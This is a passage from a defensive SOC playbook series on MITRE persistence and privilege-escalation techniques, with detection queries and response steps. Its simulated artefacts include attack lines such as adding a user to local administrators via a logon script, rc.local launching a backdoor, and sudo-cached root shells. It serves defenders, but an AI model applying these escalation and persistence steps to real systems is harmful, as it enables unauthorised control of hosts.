
Service=Backdoor
Trigger=Correct Knock Sequence

D) Socket Filter Installation

Module=netfilter
Rule=Custom
Action=Intercept TCP Packets

E) Kernel-Level Hook

Component=Socket Filter
Scope=Inbound Traffic

F) Follow-on Activity

NextAction=LateralMovement

Severity decision (SOC)

High

- Traffic signaling used for persistence on a single host

Critical

- Network-triggered persistence across servers or infrastructure
- Kernel- or firewall-layer packet manipulation

Example severity: High

(Stealth, on-demand persistence)

Step-by-step SOC workflow

Step 1 Validate traffic-signaling persistence

Confirm:

1. Is access triggered only after specific network patterns?
2. Are there no visible listening services by default?
3. Do packet captures show repeated or structured sequences?
4. Are kernel, firewall or socket hooks present?

Decision point

- Legitimate security mechanism → validate configuration
- Malicious traffic signaling → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Port knocking	Packet sequence triggers	Stealth
Socket filters	Kernel/network hooks	Control
Dormant services	No open ports	Evasion
On-demand access	External trigger	Persistence

Step 3 Map behaviour to attacker intent

3A) Stealth Persistence

Indicators

- No always-on services

Attacker intent

- Avoid detection

3B) Controlled Access

Indicators

- Specific network triggers

Attacker intent

- Restrict access to operator

3C) Defense Evasion

Indicators

- Kernel or firewall hooks

Attacker intent

- Bypass host-based monitoring

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Lateral Movement
 - SSH/RDP access after signal
2. Command and Control
 - Network-triggered payload activation
3. Privilege Escalation
 - Root-level access post-trigger
4. Impact
 - Data access or service manipulation

Decision point

- Follow-on detected → escalate to Major Incident IR

Containment actions

Immediate

1. Block suspected signaling IPs and sequences
2. Disable affected network interfaces or hosts
3. Capture traffic for forensic analysis

If traffic signaling persistence confirmed

1. Remove port knocking configurations and socket filters
2. Audit firewall, iptables, nftables and kernel modules
3. Reboot into trusted state if kernel hooks suspected

4. Notify SOC leadership and Network Operations

Eradication and recovery

- Remove malicious packet filters and rules
- Rebuild systems if kernel integrity is compromised
- Harden firewall and IDS/IPS rules
- Enforce monitoring for covert signaling patterns
- Validate no additional backdoors exist

Detection engineering (SIEM ideas)

A) Port knocking detection

```
index=netflow
| stats count by src_ip, dest_port
| where count < threshold
| transaction src_ip maxspan=10s
```

B) Unexpected socket filter activity

```
index=linux
| where event_type="kernel_module_load"
| where module_name NOT IN approved_modules
```

C) Service activation after network trigger

```
index=edr
| where service_start_reason="network_event"
```

Analyst checklist

- Traffic-signaling persistence confirmed
- Sub-technique identified
- Network hooks removed
- Kernel integrity verified
- Incident escalated appropriately

Post-incident improvements

- Treat network behaviour as a persistence trigger, not just C2
- Monitor for structured packet sequences
- Baseline kernel modules and socket filters
- Integrate NDR with host telemetry

- Correlate packet pattern → service activation → access

BY IZMER IZUDDIN

Playbook 70 (MITRE Persistence): Valid Accounts

Technique: Valid Accounts

Sub-techniques:

- Default Accounts
- Domain Accounts
- Local Accounts
- Cloud Accounts

Purpose

Detect, investigate and respond to adversaries achieving persistence by maintaining access through legitimate credentials, enabling attackers to:

- Persist without malware, backdoors or autoruns
- Blend completely into normal authentication activity
- Survive reboots, reimaging and cleanup efforts
- Bypass many technical security controls
- Escalate and move laterally using trust relationships

Valid Accounts is the most silent persistence technique the attacker becomes a normal user or admin.

When to trigger this playbook

Trigger this playbook when indicators suggest suspicious or unauthorised use of legitimate credentials, including:

- Logins from unexpected locations or times
- Dormant or default accounts suddenly becoming active
- Accounts retaining access after incidents or offboarding
- Privileged actions without corresponding change requests
- Cloud access without endpoint compromise indicators

Example use case scenario (end-to-end)

Context: SOC observes consistent VPN logins using a valid employee account from an overseas IP after malware removal. The endpoint is clean. Investigation confirms the attacker is persisting solely through stolen credentials.

Attacker objective: Maintain durable, low-noise access indistinguishable from legitimate users.

Defender objective: Invalidate attacker access and restore trust in identity controls.

What it looks like (simulated SOC artefacts)

A) Default Account Abuse

Account=admin
Status=Enabled
LoginTime=03:14 AM
SourceIP=External

B) Domain Account Persistence

User=j.smith
Group=Domain Users
LoginPattern=AfterHours
MFA=Bypassed

C) Local Account Persistence

Host=SERVER01
LocalUser=svc_backup
Privilege=Administrator
CreationDate=Old

D) Cloud Account Abuse

Account=automation@app
Role=Owner
AuthMethod=API Token

E) No Malware Indicators

EDRFindings=None
PersistenceMechanism=Credentials

F) Follow-on Activity

NextAction=LateralMovement

Severity decision (SOC)

High

- Valid account abuse with limited privileges

Critical

- Privileged domain or cloud accounts
- Persistence relying entirely on identity

Example severity: Critical

(Identity-based persistence bypassing endpoint controls)

Step-by-step SOC workflow

Step 1 Validate valid-account persistence

Confirm:

1. Is the account legitimate but misused?
2. Does access persist without malware or tasks?
3. Are authentication patterns abnormal for the user?
4. Does the account retain access after remediation?

Decision point

- Legitimate user activity → validate context
- Adversary-controlled valid account → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Default accounts	Unchanged creds	Easy access
Domain accounts	AD trust	Broad reach
Local accounts	Host-level persistence	Stealth
Cloud accounts	API-level access	Scale

Step 3 Map behaviour to attacker intent

3A) Stealth Persistence

Indicators

- No malware artefacts

Attacker intent

- Blend in completely

3B) Durability

Indicators

- Access survives rebuilds

Attacker intent

- Outlast remediation

3C) Lateral Enablement

Indicators

- Valid credentials reused

Attacker intent

- Move freely across environment

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Privilege Escalation
 - Group changes, role assignments
2. Lateral Movement
 - SMB, RDP, SSH, cloud pivots
3. Defense Evasion
 - MFA weakening, token abuse
4. Impact
 - Data access, ransomware staging

Decision point

- Follow-on detected → escalate to Crisis / Identity IR

Containment actions

Immediate

1. Disable suspected accounts and sessions
2. Revoke tokens, cookies and API keys

3. Block suspicious IPs and locations

If valid-account persistence confirmed

1. Preserve authentication logs and tokens
2. Reset passwords and enforce MFA
3. Review group memberships and roles
4. Notify SOC leadership, IAM and Management

Eradication and recovery

- Rotate all affected credentials
- Enforce strong MFA everywhere
- Disable or remove unused/default accounts
- Audit domain, local and cloud access paths
- Monitor aggressively for re-authentication attempts

Detection engineering (SIEM ideas)

A) Login anomaly detection

```
index=auth  
| where auth_result="Success"  
| where geo_location!="Expected"
```

B) Dormant account usage

```
index=auth  
| where last_login > 90d
```

C) Cloud token abuse

```
index=cloud  
| where auth_type IN ("API","Token")  
| where user_behavior!="Baseline"
```

Analyst checklist

- Valid-account persistence confirmed
- Account scope identified
- Credentials rotated
- Access paths audited
- Incident escalated appropriately

- Treat identity as the primary persistence vector
- Enforce MFA and conditional access everywhere
- Remove default and unused accounts
- Monitor behaviour, not just authentication success
- Correlate login → privilege → lateral movement

BY IZMER IZUDDIN

PRIVILEGE ESCALATION

Privilege Escalation is the stage where attackers attempt to gain higher-level permissions than those initially obtained, such as moving from a standard user to an administrator or system-level account. After establishing a foothold, adversaries exploit misconfigurations, software vulnerabilities, weak permissions or credential reuse to expand their control over systems and resources. This phase is pivotal because elevated privileges enable attackers to disable security controls, access sensitive data and move laterally with fewer restrictions. For SOC teams, early detection of privilege escalation is critical, as stopping it can prevent attackers from gaining full control of the environment and significantly limit the scope and severity of the incident.

Playbook 71 (MITRE Privilege Escalation): Abuse Elevation Control Mechanism

Technique: Abuse Elevation Control Mechanism

Sub-techniques:

- Setuid and Setgid
- Bypass User Account Control
- Sudo and Sudo Caching
- Elevated Execution with Prompt
- Temporary Elevated Cloud Access
- TCC Manipulation

Purpose

Detect, investigate and respond to privilege escalation achieved by abusing legitimate elevation mechanisms, enabling attackers to:

- Gain administrator/root privileges without exploits
- Abuse trusted workflows designed for usability
- Blend escalation into normal user behaviour
- Escalate privileges repeatedly and reliably
- Transition quickly from initial access to full control

Elevation control abuse is extremely common in real intrusions because it relies on misconfiguration, user trust and policy gaps rather than vulnerabilities.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected or suspicious privilege elevation, including:

- Commands executing as root/SYSTEM without exploits
- Legitimate elevation prompts used outside business context
- Repeated sudo success without password entry
- Cloud roles temporarily elevated without approval
- macOS privacy controls bypassed or weakened
- Privilege escalation occurring immediately after initial access

Example use case scenario (end-to-end)

Context: SOC detects a standard user account executing backup commands as root on Linux and modifying system files. No exploit alerts are triggered. Investigation reveals sudo caching abuse and a misconfigured Setuid binary allowing privilege escalation.

Attacker objective: Gain full administrative control using built-in elevation paths.

Defender objective: Identify abused elevation controls, revoke access and restore least-privilege enforcement.

What it looks like (simulated SOC artefacts)

A) Setuid Binary Abuse

```
-rwsr-xr-x 1 root root /usr/bin/backup-helper  
executed_by=user01  
result=uid=0(root)
```

B) UAC Bypass (Windows)

```
process=eventvwr.exe  
parent=explorer.exe  
child=powershell.exe  
integrity=High
```

C) Sudo Caching Abuse

```
user=user01  
command=sudo /bin/bash  
password_prompt=not_required
```

D) Elevated Execution with Prompt

```
process=installer.exe  
prompt=Elevation Requested  
user_action=Approved  
child_process=cmd.exe
```

E) Temporary Cloud Privilege Elevation

```
platform=Cloud  
action=ActivateRole  
role=GlobalAdmin  
duration=1h  
user=compromised_user@example.my
```

F) TCC Manipulation (macOS)

```
TCC.db modified
```

service=SystemPolicyAllFiles
app=Terminal
access=granted

Severity decision (SOC)

Low

- Elevation approved and documented
- Matches maintenance or admin activity

Medium

- Elevation undocumented
- Limited scope, no follow-on activity

High / Critical

- Privilege escalation abused post-compromise
- Root/SYSTEM or cloud admin access obtained
- Lateral movement or persistence follows

Example severity: High

(Sudo abuse + root shell + system modification)

Step-by-step SOC workflow

Step 1 Validate elevation legitimacy

Confirm:

1. Which elevation mechanism was used?
2. Was elevation expected for this user and time?
3. Did elevation occur immediately after suspicious access?
4. Does it violate least-privilege principles?

Decision point

- Legitimate admin activity → document and monitor
- Unauthorised or suspicious → continue investigation immediately

Step 2 Identify elevation vector and scope

Mechanism	Evidence	Attacker value
-----------	----------	----------------

Setuid / Setgid	Root-owned binaries	Instant root
UAC bypass	Auto-elevated apps	SYSTEM execution
Sudo caching	No password required	Silent escalation
Elevation prompt	User trust abuse	Social engineering
Cloud elevation	Time-bound admin	Tenant control
TCC manipulation	Privacy bypass	Data access

Step 3 Map behaviour to attacker intent

3A) Rapid Privilege Gain

Indicators

- No exploit usage
- Built-in elevation paths

Attacker intent

- Fast escalation with low detection risk

3B) Defense Evasion

Indicators

- Legitimate prompts and tools
- No vulnerability alerts

Attacker intent

- Avoid exploit detection

3C) Expansion of Control

Indicators

- Admin rights followed by system changes
- Cloud role elevation

Attacker intent

- Prepare for persistence and impact

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Services, tasks, registry, accounts
2. Credential Access
 - LSASS, keychains, secrets
3. Lateral Movement
 - Admin access reuse
4. Impact
 - Ransomware, data theft, sabotage

Decision point

- Evidence found → escalate to Incident Response

Containment actions

Immediate

1. Revoke elevated privileges immediately
2. Disable abused elevation paths
3. Terminate elevated sessions

If escalation confirmed

1. Reset affected user credentials
2. Remove Setuid / sudo misconfigurations
3. Revoke temporary cloud roles
4. Isolate host if system integrity is compromised

Eradication and recovery

- Restore least-privilege configurations
- Fix sudoers, UAC and policy settings
- Reset TCC and privacy databases (macOS)
- Audit elevated actions performed
- Reimage systems if integrity is uncertain

Detection engineering (SIEM ideas)

A) Setuid execution monitoring

index=os

| where file_permission LIKE "%s%"

| where executed_by!="root"

B) UAC bypass patterns

index=edr

| where parent_process="explorer.exe"

| where child_integrity="High"

C) Sudo without password

index=linux

| where command LIKE "sudo%"

| where password_prompt="false"

D) Temporary cloud role activation

index=cloud

| where action="ActivateRole"

Analyst checklist

- Elevation mechanism identified
- Abuse confirmed or ruled out
- Privileges revoked
- Configurations hardened
- Monitoring enhanced

Post-incident improvements

- Enforce strict least-privilege policies
- Audit Setuid, sudoers and UAC settings regularly
- Monitor cloud privilege elevation as Critical alerts
- Restrict auto-elevating binaries
- Include elevation-abuse scenarios in SOC drills

Playbook 72 (MITRE Privilege Escalation): Access Token Manipulation

Technique: Access Token Manipulation

Sub-techniques:

- Token Impersonation / Theft
- Create Process with Token
- Make and Impersonate Token
- Parent PID Spoofing
- SID-History Injection

Purpose

Detect, investigate and respond to privilege escalation achieved by abusing Windows access tokens, enabling attackers to:

- Assume the identity of higher-privileged users or services
- Execute processes as SYSTEM or domain admins without credentials
- Bypass authentication controls entirely
- Blend malicious activity into legitimate security contexts
- Escalate privileges without exploits or password dumping

Access Token Manipulation is highly stealthy because actions appear to come from legitimate identities.

When to trigger this playbook

Trigger this playbook when indicators suggest identity misuse at the OS security context level, including:

- Processes running as SYSTEM without expected parent chain
- Privilege escalation without password, exploit or UAC activity
- Lateral movement without authentication logs
- Unusual token privileges (SeDebugPrivilege, SeImpersonatePrivilege)
- Admin-level actions performed by low-privilege users
- Discrepancies between logon events and process ownership

Example use case scenario (end-to-end)

Context: SOC detects cmd.exe executing as SYSTEM on a workstation, launched by a user process. No UAC prompts, no credential dumping, no exploits detected. Investigation reveals token impersonation via SeImpersonatePrivilege and process creation using a stolen token.

Attacker objective: Escalate privileges silently by hijacking trusted security tokens.

Defender objective: Identify token abuse, terminate elevated execution and restore security boundaries.

What it looks like (simulated SOC artefacts)

A) Token Impersonation

```
process=exploit.exe  
privilege=SeImpersonatePrivilege  
impersonated_token=NT AUTHORITY\SYSTEM
```

B) Create Process with Token

```
source_process=svchost.exe  
new_process=cmd.exe  
token_owner=SYSTEM  
creation_method=CreateProcessWithTokenW
```

C) Make and Impersonate Token

```
action=LogonUser  
logon_type=NewCredentials  
impersonation=enabled
```

D) Parent PID Spoofing

```
process=cmd.exe  
reported_parent=explorer.exe  
actual_launcher=malware.exe
```

E) SID-History Injection

```
user=corp\user01  
SIDHistory=corp\Domain Admins  
effective_privilege=DomainAdmin
```

Severity decision (SOC)

Low

- Token usage matches documented service behaviour
- No privilege escalation observed

Medium

- Token manipulation detected
- Limited scope, no follow-on actions

High / Critical

- SYSTEM or Domain Admin access achieved
- Token abuse used for persistence or lateral movement
- Authentication bypass confirmed

Example severity: Critical

(Token impersonation + SYSTEM shell + credential access)

Step-by-step SOC workflow

Step 1 Validate token usage legitimacy

Confirm:

1. Which token privilege was used (SeImpersonate, SeAssignPrimaryToken)?
2. Is the process expected to impersonate other identities?
3. Does process ownership align with logon events?
4. Is token usage documented and approved?

Decision point

- Legitimate service behaviour → document and monitor
- Unauthorised token manipulation → continue investigation immediately

Step 2 Identify token manipulation vector and scope

Sub-technique	Evidence	Attacker value
Token impersonation	SYSTEM token reuse	Instant elevation
Create process with token	SYSTEM child process	Privileged execution
Make & impersonate token	Fake logon context	Auth bypass
Parent PID spoofing	False process lineage	Detection evasion
SID-History injection	Group inheritance	Domain-level access

Step 3 Map behaviour to attacker intent

3A) Authentication Bypass

Indicators

- No password or MFA usage
- Privileged execution occurs instantly

Attacker intent

- Skip identity controls

3B) Stealth Privilege Escalation

Indicators

- Legitimate token contexts
- Minimal logs

Attacker intent

- Avoid alerts and forensics

3C) Domain or SYSTEM Control

Indicators

- SID-History abuse
- Domain Admin rights

Attacker intent

- Full environment control

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - LSASS dumping, token cloning
2. Lateral Movement
 - SMB, WinRM, RDP without auth logs
3. Persistence
 - Services, scheduled tasks as SYSTEM
4. Impact
 - Ransomware, AD manipulation

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Terminate suspicious SYSTEM processes
2. Revoke SeImpersonatePrivilege where not required
3. Isolate affected host

If escalation confirmed

1. Reset credentials associated with abused tokens
2. Remove SID-History entries
3. Disable vulnerable services or privileges
4. Block further process creation using stolen tokens

Eradication and recovery

- Patch OS and services enabling token abuse
- Remove unnecessary token privileges
- Restore correct group memberships
- Reimage system if token integrity is uncertain
- Validate clean token behaviour post-reboot

Detection engineering (SIEM ideas)

A) SYSTEM process spawned by non-SYSTEM parent

```
index=edr  
| where child_user="SYSTEM" AND parent_user!="SYSTEM"
```

B) Token privilege abuse

```
index=windows  
| where privilege IN ("SeImpersonatePrivilege","SeAssignPrimaryToken")
```

C) Parent PID spoofing detection

```
index=edr  
| where reported_parent != actual_parent
```

D) SID-History modification

index=identity
| where attribute="SIDHistory"

Analyst checklist

- Token abuse identified
- Elevated processes terminated
- Privileges corrected
- Domain integrity validated
- Monitoring enhanced

Post-incident improvements

- Restrict Selpersonate and related privileges
- Monitor token usage as Tier-0 escalation signals
- Audit SID-History regularly
- Correlate logon events with process ownership
- Include token abuse in privilege-escalation simulations

Playbook 73 (MITRE Privilege Escalation): Account Manipulation

Technique: Account Manipulation

Sub-techniques:

- Additional Cloud Credentials
- Additional Email Delegate Permissions
- Additional Cloud Roles
- SSH Authorized Keys
- Device Registration
- Additional Container Cluster Roles
- Additional Local or Domain Groups

Purpose

Detect, investigate and respond to adversaries escalating privileges by modifying accounts, roles and trust relationships, enabling attackers to:

- Elevate access without exploiting software vulnerabilities
- Convert initial footholds into administrative control
- Establish durable, identity-based privilege escalation
- Bypass endpoint and exploit-focused detections
- Blend privilege escalation into legitimate identity operations

Account Manipulation is privilege escalation through trust abuse attackers don't break systems, they reassign authority.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised changes to account privileges or trust relationships, including:

- New roles, group memberships or credentials added unexpectedly
- Users gaining admin capabilities without tickets or approvals
- SSH access appearing without corresponding key management events
- Cloud or container roles expanding suddenly
- Privilege escalation occurring without exploit telemetry

Example use case scenario (end-to-end)

Context: SOC detects a standard user account performing cloud administrative actions. Audit logs show the user was silently added to an Owner role via an API call shortly after compromise.

Attacker objective: Achieve high-privilege access using identity controls, avoiding exploit-based detection.

Defender objective: Revoke unauthorised privileges and restore least-privilege enforcement.

What it looks like (simulated SOC artefacts)

A) Additional Cloud Credentials

Account=user@app
Credential=New API Token
Creator=Unknown

B) Email Delegate Permissions

Mailbox=ceo@company.com
Delegate=it.support@company.com
Access=FullAccess

C) Additional Cloud Roles

User=j.doe
Role=GlobalAdmin
AddedVia=GraphAPI

D) SSH Authorized Keys

User=root
File=~/.ssh/authorized_keys
KeyFingerprint=attacker_key

E) Device Registration

Device=Unknown-Laptop
RegisteredTo=AzureAD
Trust=Enabled

F) Container Cluster Roles

Cluster=prod-k8s
Role=cluster-admin
Subject=service-account

G) Local / Domain Group Membership

User=svc_ops

Group=Domain Admins

H) Follow-on Activity

NextAction=LateralMovement

Severity decision (SOC)

High

- Privilege escalation limited to a single non-critical system

Critical

- Domain, cloud or cluster-wide administrative privileges
- Identity-based escalation enabling full environment control

Example severity: Critical

(Privilege escalation via identity and role manipulation)

Step-by-step SOC workflow

Step 1 Validate account-based privilege escalation

Confirm:

1. Were new privileges granted without authorisation?
2. Did the account gain rights beyond its normal role?
3. Is there no exploit or binary-based escalation evidence?
4. Does escalation persist across sessions and reboots?

Decision point

- Legitimate admin action → validate change management
- Malicious account manipulation → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Cloud credentials	API tokens	Stealth admin
Email delegation	Mailbox access	Executive visibility

Cloud roles	IAM escalation	Full control
SSH keys	Passwordless root	Persistence
Device registration	Trusted device	MFA bypass
Container roles	Cluster-admin	Workload control
Local/domain groups	Admin groups	Lateral movement

Step 3 Map behaviour to attacker intent

3A) Silent Privilege Escalation

Indicators

- No exploit telemetry

Attacker intent

- Avoid detection

3B) Durability

Indicators

- Privileges persist across sessions

Attacker intent

- Long-term control

3C) Environment Dominance

Indicators

- Domain, cloud or cluster admin

Attacker intent

- Total operational control

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Lateral Movement

- RDP, SSH, SMB, cloud pivots

2. **Credential Access**

- Token harvesting, secret dumping

3. **Defense Evasion**

- MFA weakening, policy changes

4. **Impact**

- Ransomware, data exfiltration, sabotage

Decision point

- Follow-on detected → escalate to Crisis / Identity IR

Containment actions

Immediate

1. Revoke unauthorised roles, groups and credentials
2. Disable affected accounts temporarily
3. Block attacker IPs, tokens and sessions

If account manipulation confirmed

1. Preserve IAM, AD, SSH and cluster audit logs
2. Identify how the attacker gained permission to modify accounts
3. Notify SOC leadership, IAM, Cloud and Platform teams
4. Assume **identity plane compromise** until proven otherwise

Eradication and recovery

- Remove all unauthorised privileges and credentials
- Rotate affected passwords, keys and tokens
- Re-enrol trusted devices properly
- Rebuild least-privilege roles and group memberships
- Monitor aggressively for re-escalation attempts

Detection engineering (SIEM ideas)

A) Privilege change detection

index=iam OR index=ad

| where action IN ("add_role","add_group","add_delegate","add_key")

B) Cloud admin role assignment

index=cloud

| where role IN ("Owner","GlobalAdmin","cluster-admin")

C) SSH key changes

index=linux

| where file_path LIKE "%.ssh/authorized_keys"

Analyst checklist

- Account-based privilege escalation confirmed
- Sub-technique identified
- Privileges revoked
- Credentials rotated
- Incident escalated appropriately

Post-incident improvements

- Treat identity changes as potential privilege escalation
- Enforce approval workflows for role and group changes
- Monitor SSH key and device registration events
- Apply conditional access and just-in-time privileges
- Correlate account change → privilege → lateral movement

Playbook 74 (MITRE Privilege Escalation): Boot or Logon Autostart Execution

Technique: Boot or Logon Autostart Execution

Sub-techniques:

- Registry Run Keys / Startup Folder
- Authentication Package
- Time Providers
- Winlogon Helper DLL
- Security Support Provider
- Kernel Modules and Extensions
- Re-opened Applications
- LSASS Driver
- Shortcut Modification
- Port Monitors
- Print Processors
- XDG Autostart Entries
- Active Setup
- Login Items

Purpose

Detect, investigate and respond to adversaries escalating privileges by abusing system autostart mechanisms that execute at boot or logon, enabling attackers to:

- Execute malicious code with SYSTEM or elevated context
- Hijack trusted authentication and logon components
- Achieve privilege escalation without exploiting binaries
- Blend into legitimate OS startup behaviour
- Persist and escalate simultaneously

Boot or Logon Autostart Execution is privilege escalation through execution timing attackers ensure their code runs before users, protections or controls fully initialise.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised autostart components executing with elevated privileges, including:

- SYSTEM-level processes executing at boot without services
- Authentication-related DLLs modified or newly introduced
- Privilege escalation without exploit telemetry
- Logon-time execution tied to system components
- Persistence that also results in privilege gain

Example use case scenario (end-to-end)

Context: SOC observes a user-level malware suddenly executing as SYSTEM after reboot. No exploit or token theft is detected. Registry analysis reveals a Winlogon Helper DLL configured to load a malicious binary during logon.

Attacker objective: Escalate from user context to SYSTEM by hijacking trusted boot/logon execution paths.

Defender objective: Remove autostart escalation mechanisms and restore trusted boot execution.

What it looks like (simulated SOC artefacts)

A) Registry Run Key (SYSTEM Context)

Key=HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Value=Updater
Command=C:\ProgramData\sysupdate.exe

B) Authentication Package

Registry=HKLM\SYSTEM\CCS\Control\Lsa
AuthPackage=evil_auth.dll

C) Time Provider Abuse

Provider=TimeSync
DLL=timesvc_ext.dll

D) Winlogon Helper DLL

Key=HKLM\...\Winlogon
Value=Userinit
DLL=winlogon_ext.dll

E) Security Support Provider

SSP=evilssp.dll
LoadedBy=LSASS

F) Kernel Module

Module=maldrv.sys

LoadTime=Boot
Privilege=Kernel

G) Re-opened Applications

Application=cmd.exe
ReopenedOnLogon=True

H) LSASS Driver

Driver=lsass_ext.sys
Hook=CredentialValidation

I) Shortcut Modification

Shortcut=Startup\update.lnk
Target=powershell.exe -enc ...

J) Port Monitor

Monitor=EvilPort.dll
Context=SYSTEM

K) Print Processor

Processor=PrintProc.dll
Trigger=PrintJob

L) XDG Autostart (Linux)

File=~/.config/autostart/update.desktop
Exec=/usr/bin/sudo backdoor

M) Active Setup

Key=HKLM\...\Active Setup\Installed Components
StubPath=C:\ProgramData\setup.exe

N) Login Items (macOS)

Item=Updater.app
RunAtLogin=True

O) Follow-on Activity

NextAction=CredentialAccess

Severity decision (SOC)

High

- Autostart abuse resulting in limited privilege elevation

Critical

- SYSTEM, kernel or authentication-path privilege escalation
- Autostart tied to credential theft or lateral movement

Example severity: Critical

(Privilege escalation via trusted boot/logon mechanisms)

Step-by-step SOC workflow

Step 1 Validate autostart-based privilege escalation

Confirm:

1. Does execution occur at boot or logon?
2. Is code running with higher privileges than the attacker initially had?
3. Is the autostart mechanism normally trusted by the OS?
4. Is there no exploit-based escalation evidence?

Decision point

- Legitimate startup configuration → validate approval
- Malicious autostart escalation → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Run keys / startup	SYSTEM execution	Simplicity
Auth packages / SSP	Credential interception	Deep trust
Time providers	Early execution	Stealth
Winlogon helpers	Logon hijack	Reliability
Kernel modules	Ring-0 access	Maximum control
LSASS drivers	Credential control	Total compromise
Print/port monitors	SYSTEM context	Abuse of legacy paths
Active Setup	Per-user escalation	Spread
Login items / XDG	Cross-platform	Consistency

Step 3 Map behaviour to attacker intent

3A) Privilege Escalation Without Exploits

Indicators

- No exploit artifacts

Attacker intent

- Avoid exploit detection

3B) Trust Subversion

Indicators

- Abuse of authentication and boot components

Attacker intent

- Execute as trusted system code

3C) Persistence + Escalation

Indicators

- Survives reboot and elevates

Attacker intent

- Durable high-privilege foothold

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - LSASS, SSP, PAM abuse
2. Lateral Movement
 - SYSTEM-level network access
3. Defense Evasion
 - Kernel or log tampering
4. Impact
 - Ransomware, sabotage

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Isolate affected systems
2. Disable or remove malicious autostart entries
3. Prevent further boots without containment if kernel-level

If autostart privilege escalation confirmed

1. Preserve registry, drivers and startup artefacts
2. Identify initial write access vector
3. Notify SOC leadership, OS platform owners and management
4. Assume SYSTEM-level compromise

Eradication and recovery

- Remove all unauthorised autostart components
- Restore trusted boot and logon configurations
- Rebuild systems if kernel or LSASS tampering occurred
- Rotate credentials exposed during escalation
- Enforce strict startup integrity controls

Detection engineering (SIEM ideas)

A) Autostart modification detection

```
index=windows  
| where event_type IN ("registry_add","registry_modify")  
| where registry_path IN ("Run","Winlogon","Lsa","Active Setup")
```

B) Boot-time privileged execution

```
index=edr  
| where process_start_time < system_uptime + 60  
| where privilege="SYSTEM"
```

C) Driver or kernel module load

```
index=windows OR index=linux
```


| where event_type="driver_load"
| where signer!="Trusted"

Analyst checklist

- Autostart privilege escalation confirmed
- Sub-technique identified
- Elevated execution paths removed
- Credentials reviewed and rotated
- Incident escalated appropriately

Post-incident improvements

- Treat boot and logon paths as privilege escalation surfaces
- Monitor all authentication-related startup components
- Enforce driver signing and kernel protections
- Baseline approved autostart entries
- Correlate startup modification → privilege change → execution

Playbook 75 (MITRE Privilege Escalation): Boot or Logon Initialization Scripts

Technique: Boot or Logon Initialization Scripts

Sub-techniques:

- Logon Script (Windows)
- Login Hook
- Network Logon Script
- RC Scripts
- Startup Items

Purpose

Detect, investigate and respond to adversaries escalating privileges by abusing scripts that execute during system boot or user logon, enabling attackers to:

- Execute malicious logic automatically with elevated or inherited privileges
- Abuse trusted administrative scripting paths
- Escalate privileges without exploiting binaries
- Blend into legitimate IT automation
- Achieve persistence and escalation simultaneously

Boot or Logon Initialization Scripts represent privilege escalation through trusted automation attackers ride along with scripts administrators already expect to run.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected or malicious execution of boot/logon scripts, including:

- Elevated execution immediately after logon or boot
- Script execution without corresponding change records
- SYSTEM or root context gained without exploit telemetry
- Script-based execution tied to authentication events
- Privilege escalation recurring after reboot or logoff

Example use case scenario (end-to-end)

Context: SOC observes a standard domain user gaining local administrator privileges immediately after logon. No exploit or token abuse is detected. Review of Group Policy reveals a modified logon script executing net localgroup administrators user /add.

Attacker objective: Escalate privileges quietly and reliably using trusted logon automation.

Defender objective: Remove malicious script execution and restore logon integrity.

What it looks like (simulated SOC artefacts)

A) Windows Logon Script

GPO=UserLogonScript
Script=logon.bat
Command=net localgroup administrators user /add

B) Login Hook (macOS)

File=/Library/Preferences/com.apple.loginwindow.plist
Hook=LoginHook
Script=/usr/local/bin/update.sh

C) Network Logon Script

Path=\\DC01\\NETLOGON\\login.ps1
ModifiedBy=Unknown
ExecContext=Domain User

D) RC Script (Linux)

File=/etc/rc.local
Command=/usr/bin/sudo /usr/bin/backdoor

E) Startup Items

Location=/etc/init.d/update
RunLevel=Default
Privilege=Root

F) Privilege Escalation Result

User=jsmith
NewGroup=Administrators

G) Follow-on Activity

NextAction=CredentialAccess

Severity decision (SOC)

High

- Script-based escalation limited to a single host

Critical

- Domain, fleet-wide or root/SYSTEM privilege escalation
- Abuse of centrally managed scripts (GPO, NETLOGON, init)

Example severity: Critical

(Privilege escalation via trusted logon automation)

Step-by-step SOC workflow

Step 1 Validate script-based privilege escalation

Confirm:

1. Does execution occur during boot or logon?
2. Does the script run with higher privileges than the user?
3. Is the script modified or newly introduced?
4. Is there no exploit-based escalation evidence?

Decision point

- Legitimate admin script → validate change control
- Malicious initialization script → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Windows logon scripts	GPO abuse	Domain scale
Login hooks	macOS root execution	Stealth
Network logon scripts	NETLOGON tampering	Lateral reach
RC scripts	Boot-time root exec	Reliability
Startup items	Persistent elevation	Simplicity

Step 3 Map behaviour to attacker intent

3A) Exploitless Privilege Escalation

Indicators

- No crash, exploit or shellcode artefacts

Attacker intent

- Avoid exploit detection

3B) Trust Abuse

Indicators

- Scripts normally owned by IT

Attacker intent

- Blend into administration

3C) Persistence + Elevation

Indicators

- Escalation repeats after reboot

Attacker intent

- Durable elevated foothold

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - LSASS, keychain, shadow files
2. Lateral Movement
 - SMB, SSH, RDP using new privileges
3. Defense Evasion
 - Script cleanup or obfuscation
4. Impact
 - Ransomware staging, sabotage

Decision point

- Follow-on detected → escalate to Major / Executive IR

Containment actions

Immediate

1. Disable affected scripts and GPOs
2. Isolate impacted systems if escalation succeeded
3. Block further logons if domain-wide

If script-based escalation confirmed

1. Preserve script files and policy versions for forensics
2. Identify how write access to scripts was obtained
